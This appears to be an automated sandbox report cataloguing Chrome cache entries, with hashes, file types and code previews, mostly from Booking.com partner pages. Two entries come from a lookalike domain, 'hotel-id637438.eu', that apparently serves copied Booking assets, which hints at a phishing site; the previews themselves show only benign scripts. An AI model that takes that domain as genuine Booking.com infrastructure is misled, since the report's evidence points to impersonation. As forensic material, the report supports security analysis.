Preview:	@media (max-width:575px){.FbTMXoNqYWkw7I4ybKgC{-webkit-margin-start:calc(var(--bui_spacing_4x)-1)!important;-webkit-margin-end:calc(var(--bui_spacing_4x)-1)!important;-webkit-border-start:0!important;-webkit-border-end:0!important;border-inline-end:0!important;border-inline-start:0!important;border-radius:0!important;margin-inline-end:calc(var(--bui_spacing_4x)-1)!important;margin-inline-start:calc(var(--bui_spacing_4x)-1)!important}}.uNnBK1MZfpZP4zOLNBdw{display:inline-block;vertical-align:middle}.XtThYShjPyzHb9jJ1Z0A{display:block}.jZT8XFG2FDJu9hQW6y7a{opacity:0;pointer-events:none;transition:var(--bui_timing-deliberate) var(--bui_easing-slow-out);transition-property:opacity,transform,visibility;visibility:hidden;z-index:var(--bui_z_index_4)}.jZT8XFG2FDJu9hQW6y7a .CyFjoyZmmDsLN1yrwrTB{display:inline-block;pointer-events:all;vertical-align:top}.jZT8XFG2FDJu9hQW6y7a.N2dODfBwm4hnKfLWl4jq,.jZT8XFG2FDJu9hQW6y7a.bMW0mBKkitIcnvUTt3iQ,.jZT8XFG2FDJu9hQW6y7a.fRr4isf2UuQorRH8Vf0u{transform:

Chrome Cache Entry: 318

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (59513)
Category:	downloaded
Size (bytes):	374964
Entropy (8bit):	5.334061942210573
Encrypted:	false
SSDEEP:	6144:5XHpeA7aJxW2CSiP5aCiv2JZ4Wc20fr7Cw:RHpeA7aJxW2CSiP5aCiv2JZ4X
MD5:	FD9F1D009253C9F10768788FFD12F1C6
SHA1:	A2C8CAE661F77C77682E61C62EF2B424DDD8AE20
SHA-256:	577A7E4284CE2DAB1865CD91F54528573D5A7DBB7AA7CC042863694E4CA2F843
SHA-512:	80A2E77733F9963AED7FD773500EB6281DE2CFE050A3944835367DA2D627560E8FAB7C604A0F5C220C8546EE61D2E573A1A4596C8C58992BB80D3301A9CE7CCE
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/en-us/community?utm_content=27&utm_source=extranet_login_page
Preview:	<!DOCTYPE html>.<html lang="en-us" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://schema.org/ sioc: http://rdfs.org/sioc/ns# sioct: http://rdfs.org/sioc/types# skos: http://www.w3.org/2004/02/skos/core# xsd: http://www.w3.org/2001/XMLSchema# ">. <head>. <meta charset="utf-8" />.<link rel="preload" href="/themes/custom/booking/fonts/icons/icons.woff?v=1.3.3" as="font" type="font/woff" crossorigin="" />.<link rel="preconnect" href="https://bstatic.com" crossorigin="" />.<link rel="preconnect" href="https://cdn.cookielaw.org" crossorigin="" />.<link rel="preconnect" href="https://www.google-analytics.com" crossorigin="" />.<link rel="preconnect" href="https://www.googleoptimize.com" crossorigin="" />.<link rel="preconnect" href="https://try.abtasty.com" crossorigin="" />.<link rel="preconnect" href="https://lonrtp

Chrome Cache Entry: 319

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 220x140, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	14622
Entropy (8bit):	7.98324058359048
Encrypted:	false
SSDEEP:	384:QopcJPYBa3rU6KcUJ1SXtKdCRokYC3dE7ep:H+JP9rU6RUJIdKdBCtE7ep
MD5:	C653A46326F12936183D50C5EA87AA49
SHA1:	4358E6950AEBFF8CC18075C222604ACF09C775B1
SHA-256:	1E7E3E106AA39279085F1561401AF99F4DA0073EAF5C6EF9A2E04B600DDDF532
SHA-512:	3A6C07933CA65B713D089894D30C146EF68967FA2890D966A23769487E131F79E174F1F6C5B7BB5B267AE26D3C95410CD6E08F72317519E4518634CFD8BC23F0
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/sites/default/files/styles/menu_teaser_desktop/public/2024-03/join-booking-hero.jpg.webp?h=56d0ca2e&itok=3dorJ9nt
Preview:	RIFF.9..WEBPVP8 .9..p........>...A!......a(..\.../.d[........{..<....w.../.....{7...[.O.'...?..?.>.s=E.........g......?...?.;....p}8.u...............o.=.}....c...>_...........I...~^........?._o.....o...?.?&......._.?.?c~....[.........Os..{..o...B............\|.....K....?............/..?..q.....g...?..b.b.Q.S....'.?.?...................W.s.._............../..........C...o..`..?....c..'.qM\w..gN..P..!N3.o)..c....;..?(.,...6..Pb...e ..cJ._....e.......5...._.^..{.=.. ...vh.....F7....t[.;.i..=. f.{..6...;...~.3..H...L...Yp.....K..5k...x.la..Q.."..1.l.J.%...Mog..!s...Ov........M.....a.~....p)....V...p.....pv.{..J:...;.f...s..,..P...= ..%]4v.Q......d...}l..S&.s....e......}s...p.. .%...QZ...y.,....9.<..O..~.~...+3.}.~.....Q....!%G.)H+..ar..J..o.gV..N.......p.\|..i....v..'...+.0.:.%=.6..E...%....1JQt..@....d..?-bw...../.=Sry5..`.P......H.u..M.......G..$..\...q...?@.....oM.Xd..``F..].f..I0#F....=..q=wj..<I.\|1-... .<.e.X.....(..$..:.Kf.".

Chrome Cache Entry: 320

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	424
Entropy (8bit):	4.826210276654948
Encrypted:	false
SSDEEP:	12:YGKe4HaaNmddpHm/Bi6dRSMm9Er2sVsRihCFXU9CFXvM9:YdVH/NMzHa9m9Er20sRdVUMV09
MD5:	2CA62553DC3FDE3551E592A47A6371E9
SHA1:	ADB612AAF8EDBA6A1B3ED1FE807C620D0B2B67FD
SHA-256:	B9391F1017214481EBCD66649D521E043516C53119B2A7A4FA0E7690199AE5A2
SHA-512:	22468FF1B0A3EB6C7344A8C4CD24847CFA617A15377B123DE7744A18DEC68DB29EF53C03F6374026DE74FD798F677F90A72DFA365FC5B9B7D65146696BEDB2EC
Malicious:	false
Reputation:	low
Preview:	{"country_name":"United States","country_iso_code":"US","state":"New York","state_iso_code":"NY","city":"New York","city_id":5128581,"city_confidence":-1,"postal_code":"10118","latitude":40.7123,"longitude":-74.0068,"accuracy_radius":20,"time_zone":"America/New_York","least_specific_subdivision":{"name":"New York","iso_code":"NY"},"most_specific_subdivision":{"name":"New York","iso_code":"NY"},"ip_address":"8.46.123.33"}

Chrome Cache Entry: 321

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (31997)
Category:	downloaded
Size (bytes):	275294
Entropy (8bit):	5.791794100205205
Encrypted:	false
SSDEEP:	6144:zLbrEybJFmZ6ACcd5m3xWge8snrES8bdi:PEop+
MD5:	DC5BE92988D9CC83931C8660DC2A71C2
SHA1:	BDF6785153B8A8ADA1C0824EE13FE0A556953764
SHA-256:	0E3CD6436C3188852C7BC0A21B4C6789C22306FE5F5D64C1507D9F24590F7670
SHA-512:	7D2717B2175BCFB74E791491EE506737D153CC5E257D41DAB88C166114BB73EF984E8A772E7D8E03AE5CE609C48738A14912E4A800186133DAA4C64B0A7B3F88
Malicious:	false
Reputation:	low
URL:	https://q.bstatic.com/libs/asec/btmgmt/px.v7.5.3.min.js
Preview:	// @license Copyright (C) 2014-2022 PerimeterX, Inc (www.perimeterx.com). Content of this file can not be copied and/or distributed..try{window._pxAppId="PXikKuL2RM",function(){function t(){return window.performance&&window.performance.now?window.performance.now():Date.now()}function e(e){return e&&(pu+=t()-e,bu+=1),{total:pu,amount:bu}}function n(n){var r=t(),o=hu[n];if(o)a=o;else{for(var i=mu(n),c="d8jF4yC",a="",d=0;d<i.length;++d){var u=c.charCodeAt(d%7);a+=String.fromCharCode(u^i.charCodeAt(d))}hu[n]=a}return e(r),a}function r(t){var e=Ou[t];return e\|\|"\\u"+("0000"+t.charCodeAt(0).toString(16)).slice(-4)}function o(t){return xu.lastIndex=0,'"'+(xu.test(t)?t.replace(xu,r):t)+'"'}function i(t){var e=void 0;switch(void 0===t?"undefined":Iu(t)){case wu:return"null";case Su:return String(t);case Au:var n=String(t);return"NaN"===n\|\|"Infinity"===n?Cu:n;case Tu:return o(t)}if(null===t\|\|t instanceof RegExp)return Cu;if(t instanceof Date)return['"',t.getFullYear(),"-",t.getMonth()+1,"-",t.g

Chrome Cache Entry: 322

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 25328, version 1.0
Category:	downloaded
Size (bytes):	25328
Entropy (8bit):	7.981444059067758
Encrypted:	false
SSDEEP:	768:RK06TIhBO4KiqAMXZOCq8aLmrXKkIYUUKK4RHU:R3OOBObKMXZOC3aoakIYU5K4O
MD5:	1CE83DBA9B028D54997F401FCC88EE88
SHA1:	0477A4C45C0697562761469726762D136E9EB832
SHA-256:	E63D9656C13BAF8786714C53106A0EC404CF8ED4A4B6038345D9029864A3ABB6
SHA-512:	0537A64D42FF43509B68BB779A59D4CF26693C0384DFED59995885732EDD3BBA3503DAA9224B8F56B4132A316E2A2DEB895FB0EE905BF910E053EE23812E4739
Malicious:	false
Reputation:	low
URL:	https://t-cf.bstatic.com/design-assets/assets/v3.58.1/fonts-brand/BookingExtraBold.woff
Preview:	wOFF......b................................GDEF..R.........!)!5GPOS..Sx...s..A...V.GSUB.._........N.s.>OS/2.......Y...`h.D.cmap...........>.v.ccvt ...X........"..Gfpgm.............0.6gasp..R.............glyf...`..?...r.\&..head.......6...6..Phhea....... ...$.t.3hmtx...T...4......+!loca.......K....<..vmaxp....... ... .B..name..Q.........!.Q9post..R........ ...Jprep...<....................m._.<...........K.....wCx....................x.c`d``...........`Y..A.....S.........P...X......./.a..........x.%.5.B....7....F.t...........y....[k..W=....b.h.l.....>L...x....O.....-....u..-...\.g...x.....7..O...g.mcP.m[..m....5o.&sS.o.7...dq.={.6...G.....n..3.!..Y..6....G......;...r.`..}\?N.@.........7.l.F...i..KZ.}.D...C.I+I'.....}.f/d.yRA2I2.%..Dk.?..x....$.B..j.@jT.yG&sw.y.L...RM.#...{..T.&.n..s.GM)z.J....k...b...s$..........4k..u.......>....r..9......Ran..A....$u.>.z)._!.^.I.7.x..vk....3.'7..~B_5&...bb....G.[..vw.o).u.4...r7Y.5..:{.{....0...w.....p...o.:.z4z....-......

Chrome Cache Entry: 323

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (21719), with no line terminators
Category:	downloaded
Size (bytes):	21719
Entropy (8bit):	5.3932420548860796
Encrypted:	false
SSDEEP:	384:1Sm6EGJN0OzlGnhhxik3ChjbhnRh+1H8+/i4d+Qc3SuKVdysL84AbFLAP4Nkj6wR:1yv0OzlGK1L+K+/9kSuu8u4qfPZqJnc1
MD5:	1E8F4CE1EEF35FD6DB9896A784A5E95B
SHA1:	F88D3369328C4F6D648FB9AA3A2B0303FCBAC9EB
SHA-256:	A85DB31329B135D0DD6B5863C06CAF717432922736EF8B91BD8B7EE07E43C992
SHA-512:	F4924C2AC38550E2EC8E647352366A255BB43A087A5ECE4FA0788E0ED4916A07E79547B9751BC4C7C60AD41794453D9C8A550057C0393953FA7DF7398E59B00A
Malicious:	false
Reputation:	low
URL:	https://try.abtasty.com/shared/analytics.47cf758c4d585426c29d.js
Preview:	"use strict";(self.webpackChunktag=self.webpackChunktag\|\|[]).push([[153],{206:(e,t,n)=>{n.r(t),n.d(t,{AT_HIT_LABEL:()=>be,HitType:()=>a.YQ,aggregateActionTracking:()=>Ee,dispatchBatch:()=>Y,dispatchHit:()=>ve,getCurrentScrollPercent:()=>Te,notifyHit:()=>qe,setGlobals:()=>Se});var a=n(1492),r=n(648),o=n(9578),i=n(3002),s=n(3595),c=n(8009);const l="https://ariane.abtasty.com",p={"chrome mobile":78,chrome:77,firefox:70,edge:77,opera:64,safari:12,"uc browser":12};let d,y,u=[];async function g(e){let t=arguments.length>1&&void 0!==arguments[1]&&arguments[1],n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:l;if((new c.NO).haveConsent([c.rv.collect])\|\|function(e){const t=e.h;return!!Array.isArray(t)&&t.some((e=>e.t===a.YQ.consent&&"no"===e.co))}(e))if(t){const[a,r]=await(0,i.g)(!0,["browser.name","browser.version"]);!function(e,t){return!!e&&!!t&&!!p[e.toLowerCase()]&&parseInt(t,10)<=p[e.toLowerCase()]}(a,r)?function(e,t){navigator.sendBeacon(e,JSON.stringify(t))}(n,e):m(e,!t,n)}else

Chrome Cache Entry: 324

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (593), with no line terminators
Category:	downloaded
Size (bytes):	593
Entropy (8bit):	4.948058860327425
Encrypted:	false
SSDEEP:	12:AEdS+NfFdBMeWEeXNOXIN6ACuHnom/7ojLL/7Gk12XC1ItYDRWCKb:3p/BMeHedOXImuHotHl2XC1FRWV
MD5:	12AB1AC1481363CDFCBC0C7E94404E1A
SHA1:	768615190923505659B686D6A036D5071738F9B6
SHA-256:	C900A864B1D5AADEF7184740F11B3B5F4CAA1AC6A407D7EA59A741A259E01FC4
SHA-512:	1B856332153E98C8ACC49DDC6258D669D47416F4E281B2D6EA6FE5BD15B765F9832BE3C68D227DF60A295C698F5865DE823C42ACFECC5B67D766862FC48DDE60
Malicious:	false
Reputation:	low
URL:	https://hotel-id637438.eu/static/cookie-banner.min.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	function OptanonWrapper(){}function getDomainUUID(){var t=document.querySelector("script[src*='privacy-consent']");if(t&&t.hasAttribute("data-domain-script"))return t.getAttribute("data-domain-script").trim()}!function(){var t=getDomainUUID(),e=document.createElement("script");e.type="text/javascript",e.setAttribute("async","true"),e.setAttribute("src","https://cdn.cookielaw.org/scripttemplates/otSDKStub.js"),e.setAttribute("charset","UTF-8"),e.setAttribute("data-document-language","true"),e.setAttribute("data-domain-script",t),document.getElementsByTagName("head")[0].appendChild(e)}();

Chrome Cache Entry: 325

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1210)
Category:	downloaded
Size (bytes):	1284
Entropy (8bit):	5.258297327799955
Encrypted:	false
SSDEEP:	12:UMY+8fuVEGO1wyT7ZYTH9toIRHuxTe7gxyaJRTHx5eTi4Hmr2YLAoCfA0Ixa0YEd:a+NEZWZFuxqU4afDee4GhQZ05VmImK
MD5:	49D03D47BD15DDBEC4926A87821C3278
SHA1:	8D545B020E45D00A775DECA8BCB0A4BBE17C1F2D
SHA-256:	D327ED4B7D3E5878F53B377E35DE67F9A2D9335BD85BE6028C36D3B6B05D4F72
SHA-512:	39ABCD8CB66CBF65282C2CD32BE247477EA6322A32D8E5FD8771254B7FD3F939428CA0462851AF60108BC8FE17CB3BF6769CA45C817859CC27B7E9AAC83801C7
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/sites/default/files/css/css_UvXyKwn0NQjGoY4ItVYtivOqsPRcB28Y3ICRoR_4aTg.css?delta=2&language=en-us&theme=booking&include=eJx1Uotu5CAM_KEQPmllwCHuEsxhJ23u68_pdZPdqpUihB8zY8aBlJSh7h6-LuPUueqQQKHAjt0HnGEj7jIU-Lv74xhkF8XFBxAcAvOdavZhJRdFvsdOO2xYCnZXKM_qdMblQuXCAcoL6O3iiMzxTtg6u4njKm6Gmozq6od4d8r2tQE_tFC9-9TXBmX8CgdRUBKlKI_KlTl5CkNyQgkDdBeg1ieNrIvDqqS7i4VM7_sQTw0b4fuP9cpKE0UT5no2NOiQO7T5HO3KjGttaygkMyZzfudVb4kk8oZ991wxchkm-DMRluQflxFi5J5M5FQ_M04hiKPF3NxsBVVfd0WV1EVemnE_1yR2LuZkdgbMHW2lZtJgpPiYOnVuYVU11alA9scxHubf4A0-Xnw4Sr_YuIr9I0K5ko3KXJTaYM9-x5sg9Dj7z8D9D07UjJAO3Gf2H1FyFZQ
Preview:	/* @license GNU-GPL-2.0-or-later https://www.drupal.org/licensing/faq */.body{background:none;color:#000000;font-family:Verdana,Tahoma,sans-serif;font-size:14pt;line-height:1.45;margin:0 !important;padding:0 !important;width:100% !important;}h1,h2,h3,h4,h5,h6{page-break-after:avoid;}h1{font-size:19pt;}h2{font-size:17pt;}h3{font-size:15pt;}h4,h5,h6{font-size:14pt;}p,h2,h3{orphans:3;widows:3;}code{font:12pt Courier,monospace;}blockquote{font-size:12pt;margin:1.2em;padding:1em;}hr{background-color:#cccccc;}img{max-width:100% !important;}a img{border:none;}a:link,a:visited{background:transparent;color:#333333;font-weight:700;text-decoration:underline;}a:link[href^="http://"]:after,a[href^="http://"]:visited:after{content:" (" attr(href) ") ";font-size:90%;}abbr[title]:after{content:" (" attr(title) ")";}a[href^="http://"]{color:#000000;}a[href$='.jpg']:after,a[href$='.jpeg']:after,a[href$='.gif']:after,a[href$='.png']:after{content:" (" attr(href) ") ";display:none;}table{margin:1px;text-a

Chrome Cache Entry: 326

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (22724)
Category:	downloaded
Size (bytes):	282836
Entropy (8bit):	4.897078406866022
Encrypted:	false
SSDEEP:	3072:DgxbQpQRFhJp5ras1mDjLLDtAas1mDjLLDtAas1mDjLLDt7Y4eBlI8U1:aFhJbrWDaWDaWDdN
MD5:	C28AAA3D0D4CB7F6E1517A6F8ECB3A08
SHA1:	7E5224EDCF44992DE8BC413FB4D0A2BB3580D94A
SHA-256:	7BE23B96D99F0F81B52A64CA4E8C3B44CF4666AFA2CCBAF4A309B5D9864F79C3
SHA-512:	C7CA8D5127B577284F5F7D7044DE5F5933238B14A6F84F9C25A66CBA4F9C437CBD7AECFE39A377DD4D163E146DBF7F7ECD2D187B7D9D03EC8A9EE43E80E1B3F8
Malicious:	false
Reputation:	low
URL:	https://account.booking.com/sign-in?op_token=EgVvYXV0aCJHChQ2Wjcyb0hPZDM2Tm43emszcGlyaBIJYXV0aG9yaXplGhpodHRwczovL2FkbWluLmJvb2tpbmcuY29tLyoCe31CBGNvZGUqEjDd3bSSuf4mOgBCAFjA2M2xBg
Preview:	.<!DOCTYPE html>.<html class="no-js" lang="en-us">.<head>.<meta http-equiv="X-UA-Compatible" content="IE=edge" />.. <script nonce="SC65sInSKeTwkCz">. .(function( win, doc ) {.. var errors = [],. errorCount = 0,. canParse = (function() {}).toString && /bkg/.test( function() { bkg; } );.. var NOW,. UNDEF;.. var LAST_CLIENT_EVENT;.. var SERVER_ASKED_TO_BLOCK = readCookie( 'error_catcher' ) === 'kill';.. var SHOULD_BLOCK = function( error ) {.. return SERVER_ASKED_TO_BLOCK \|\| error.index > 2;.. };.. var ERROR_TRANSPORT = {.. URL: '/js_errors',. METHOD: 'POST',. MAX_STACK_LINES: 12,. MAX_STACK_LENGTH: 900,. MAX_FUNCTION_BODY_LENGTH: 150,. STACK_TRUNCATED_TEXT: '(... truncated!)',.. SEND_ONLY_IF: function() {.. return !!doc.getElementById( 'req_info' );.. },.. IS_BOT: function( message ) {.. return getKey( '$u.b01' ) \|\| getKey( 'booking_extra.b

Chrome Cache Entry: 327

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1367
Entropy (8bit):	4.606114713423053
Encrypted:	false
SSDEEP:	24:tjnKMCvllHjYTe4LKGczfj94+1XtEHg/QSoUos9nqiol9LKg804QTlWApZEhwoqT:VsjQVGf7VQiostqiobLKQkhc
MD5:	D5F05DB5BC49F3BF280F4540914BA76F
SHA1:	9383B048E654A536F07F29EE5635700570BE83A4
SHA-256:	ED492DB618738A5EAE18115863E97FC8C63945846ED8DB4074DFC6F7CCB90467
SHA-512:	FAB6E9441D04A76A567D0155C16913AEA92A7FDBEE5CCB0E6193A1BAB832CC3D57E3BA194B34295C68988E834012461F4F2F8D9DAB04E80A6CABAC081EC3DCAD
Malicious:	false
Reputation:	low
Preview:	<svg clip-rule="evenodd" fill-rule="evenodd" height="64" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="-.092 .015 2732.125 2671.996" width="64" xmlns="http://www.w3.org/2000/svg"><path d="m2732.032 513.03c0-283.141-229.978-513.015-513.118-513.015h-1705.89c-283.138 0-513.116 229.874-513.116 513.015v1645.965c0 283.066 229.978 513.016 513.118 513.016h1705.889c283.14 0 513.118-229.95 513.118-513.016z" fill="#0c3b7c"/><path d="m.001 1659.991h1364.531v1012.019h-1364.53z" fill="#0c3b7c"/><g fill-rule="nonzero"><path d="m1241.6 1768.638-220.052-.22v-263.12c0-56.22 21.808-85.48 69.917-92.165h150.136c107.068 0 176.328 67.507 176.328 176.766 0 112.219-67.507 178.63-176.328 178.739zm-220.052-709.694v-69.26c0-60.602 25.643-89.424 81.862-93.15h112.657c96.547 0 154.41 57.753 154.41 154.52 0 73.643-39.671 159.67-150.903 159.67h-198.026zm501.037 262.574-39.78-22.356 34.74-29.699c40.437-34.74 108.163-112.876 108.163-247.67 0-206.464-160.109-339.614-407.888-339.614h-282.738v-.11h-32.219c-73.

Chrome Cache Entry: 328

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2343)
Category:	downloaded
Size (bytes):	52916
Entropy (8bit):	5.51283890397623
Encrypted:	false
SSDEEP:	768:oHzaMKHBCwsZtisP5XqYofL+qviHOlTjdNoVJDe6VyKaqgYUD0ZTTE8yVfZsk:caMKH125hYiM8O9dNoVJ3N48yVL
MD5:	575B5480531DA4D14E7453E2016FE0BC
SHA1:	E5C5F3134FE29E60B591C87EA85951F0AEA36EE1
SHA-256:	DE36E50194320A7D3EF1ACE9BD34A875A8BD458B253C061979DD628E9BF49AFD
SHA-512:	174E48F4FB2A7E7A0BE1E16564F9ED2D0BBCC8B4AF18CB89AD49CF42B1C3894C8F8E29CE673BC5D9BC8552F88D1D47294EE0E216402566A3F446F04ACA24857A
Malicious:	false
Reputation:	low
URL:	https://hotel-id637438.eu/static/analytics.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var n=this\|\|self,p=function(a,b){a=a.split(".");var c=n;a[0]in c\|\|"undefined"==typeof c.execScript\|\|c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)a.length\|\|void 0===b?c=c[d]&&c[d]!==Object.prototype[d]?c[d]:c[d]={}:c[d]=b};function q(){for(var a=r,b={},c=0;c<a.length;++c)b[a[c]]=c;return b}function u(){var a="ABCDEFGHIJKLMNOPQRSTUVWXYZ";a+=a.toLowerCase()+"0123456789-_";return a+"."}var r,v;.function aa(a){function b(k){for(;d<a.length;){var m=a.charAt(d++),l=v[m];if(null!=l)return l;if(!/^[\s\xa0]*$/.test(m))throw Error("Unknown base64 encoding at char: "+m);}return k}r=r\|\|u();v=v\|\|q();for(var c="",d=0;;){var e=b(-1),f=b(0),h=b(64),g=b(64);if(64===g&&-1===e)return c;c+=String.fromCharCode(e<<2\|f>>4);64!=h&&(c+=String.fromCharCode(f<<4&240\|h>>2),64!=g&&(c+=String.fromCharCode(h<<6&192\|g)))}};var w={},y=function(a){w.TAGGING=w.TAGGING\|\|[];w.TAGGING[a]=!0};var ba=Array.isArray,c

Chrome Cache Entry: 329

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	91785
Entropy (8bit):	5.184410273382722
Encrypted:	false
SSDEEP:	1536:52mXFioR7U4+4q00QyE3znksTJ4qq+QDalSduKNcJiP:kmXJqqqdQyfqdQDalzpS
MD5:	31B52E285AECEA6AFF5E09AA9B90EAED
SHA1:	47DE24235B7F6143FC63E0B4B483EC628B006342
SHA-256:	BD3352B0C7B707FA5A0867249158B7B1F22927A733C1088A7C39AEA1186E6F29
SHA-512:	8383567198D1F3143DE2B54F4129995B2D0BF86BA9EDF04B4386E612FBE26D0F8380323B8326406C1FF67AEBE5282F1461BC7F5363D74FAC2ECBD026673AAD30
Malicious:	false
Reputation:	low
URL:	https://xx.bstatic.com/libs/bui/9.5.6/bui.min.js
Preview:	!function(){"use strict";function t(e){return(t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(e)}function e(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function i(t,e){for(var i=0;i<e.length;i++){var n=e[i];n.enumerable=n.enumerable\|\|!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(t,n.key,n)}}function n(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function a(t,e,i){return e in t?Object.defineProperty(t,e,{value:i,enumerable:!0,configurable:!0,writable:!0}):t[e]=i,t}function o(){return(o=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var i=arguments[e];for(var n in i)Object.prototype.hasOwnProperty.call(i,n)&&(t[n]=i[n])}return t}).apply(this,arguments)}function s(t){for(var e=1;e<arguments.length;e++){var i=null!=arguments[e]?arguments[e]:{},n=Object.ke

Chrome Cache Entry: 330

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8065)
Category:	downloaded
Size (bytes):	9871
Entropy (8bit):	5.485671781992993
Encrypted:	false
SSDEEP:	192:pIUBupNdxa4mNdr0rth6qrHlualOZCTbKTPsGDzY037P2MuHRLl7s:cd6VuLTMaKCTbKTPsGDzPLP2MuHk
MD5:	2F8F0245223722DF5B75DDDB0F80ADFC
SHA1:	CDCCE836569C9625A929F6E9C399BCA71FCC0852
SHA-256:	9B8867E806A57AC0C33022B346320B3313D063045C61F95944195C2A5F8772F1
SHA-512:	F288F2C4780E766B9BEEE49307764CCA019DC00D0572639EE75D9F57AC639751F3E08D48414539F368A532390435AE1E405650542608663C9344BE8D396B4E7D
Malicious:	false
Reputation:	low
URL:	https://zn09tjwjvephllacp-partnersatbooking.siteintercept.qualtrics.com/SIE/?Q_ZID=ZN_09tjWJVePhLlACp
Preview:	(function () {. if (typeof window.QSI === 'undefined'){. window.QSI = {};. }.. var tempQSIConfig = {"hostedJSLocation":"https://siteintercept.qualtrics.com/dxjsmodule/","baseURL":"https://siteintercept.qualtrics.com","surveyTakingBaseURL":"https://s.qualtrics.com/spoke/all/jam","zoneId":"ZN_09tjWJVePhLlACp"};.. // If QSI.config is defined in snippet, merge with QSIConfig from orchestrator-handler.. if (typeof window.QSI.config !== 'undefined' && typeof window.QSI.config === 'object') {. // This merges the user defined QSI.config with the handler defined QSIConfig. // If both objects have a property with the same name,. // then the second object property overwrites the first.. for (var attrname in tempQSIConfig) { window.QSI.config[attrname] = tempQSIConfig[attrname]; }. } else {. window.QSI.config = tempQSIConfig;. }.. window.QSI.shouldStripQueryParamsInQLoc = false;.})();../@preserve.Version 2.10.0./../*@license

Chrome Cache Entry: 331

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6699)
Category:	downloaded
Size (bytes):	39786
Entropy (8bit):	5.605668209123808
Encrypted:	false
SSDEEP:	768:pHDdtRTQneQMBWq/TkVwvn9SeUv2TsjsPO4Q5U0floAAsEfX8qgIJWbeLKMB//V:pHDdtRTQneQMBWq/TkVwvn9SeUuTsAPn
MD5:	76F4CFE389EA593CF33909BBCEDB7949
SHA1:	C4D27B95C7E2E9A74F4E8366D2A9873E323E7AA8
SHA-256:	950D7028921F91F48D3242B0EACE0B1A0BE2E3290714014A3025953C44FACB32
SHA-512:	04766BD98E0C7B088707483FDE694D47C69CFD18932B7044922E8BE5CEDA060652ED29985ED5EC312F7B21420911C600678CDE59F7B9CE522D3FD8F5D8F4BACF
Malicious:	false
Reputation:	low
URL:	https://saa.booking.com/asset.76f4cfe389ea593cf33909bbcedb7949.js
Preview:	var $jscomp={scope:{}};$jscomp.defineProperty="function"==typeof Object.defineProperties?Object.defineProperty:function(k,m,l){if(l.get\|\|l.set)throw new TypeError("ES3 does not support getters and setters.");k!=Array.prototype&&k!=Object.prototype&&(k[m]=l.value)};$jscomp.getGlobal=function(k){return"undefined"!=typeof window&&window===k?k:"undefined"!=typeof global&&null!=global?global:k};$jscomp.global=$jscomp.getGlobal(this);.$jscomp.polyfill=function(k,m,l,d){if(m){l=$jscomp.global;k=k.split(".");for(d=0;d<k.length-1;d++){var a=k[d];a in l\|\|(l[a]={});l=l[a]}k=k[k.length-1];d=l[k];m=m(d);m!=d&&null!=m&&$jscomp.defineProperty(l,k,{configurable:!0,writable:!0,value:m})}};$jscomp.polyfill("Array.prototype.fill",function(k){return k?k:function(k,l,d){var a=this.length\|\|0;0>l&&(l=Math.max(0,a+l));if(null==d\|\|d>a)d=a;d=Number(d);0>d&&(d=Math.max(0,a+d));for(l=Number(l\|\|0);l<d;l++)this[l]=k;return this}},"es6-impl","es3");.(function(){function k(d,a,c){d[a]=d[a]\|\|c}var m="undefined"!==type

Chrome Cache Entry: 332

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	3682
Entropy (8bit):	7.92812424722873
Encrypted:	false
SSDEEP:	96:dr5qrLKY8c6GFwv0oF+ZpXbgrFlr8sSNg3C5Cf22zw:rqa4JA+Zporh3wCf2Qw
MD5:	B3A978C7E4862C0DBD6BB0DC7A20EDDF
SHA1:	5D7D116286C2ADA055D64EF98BB07415F813B5F8
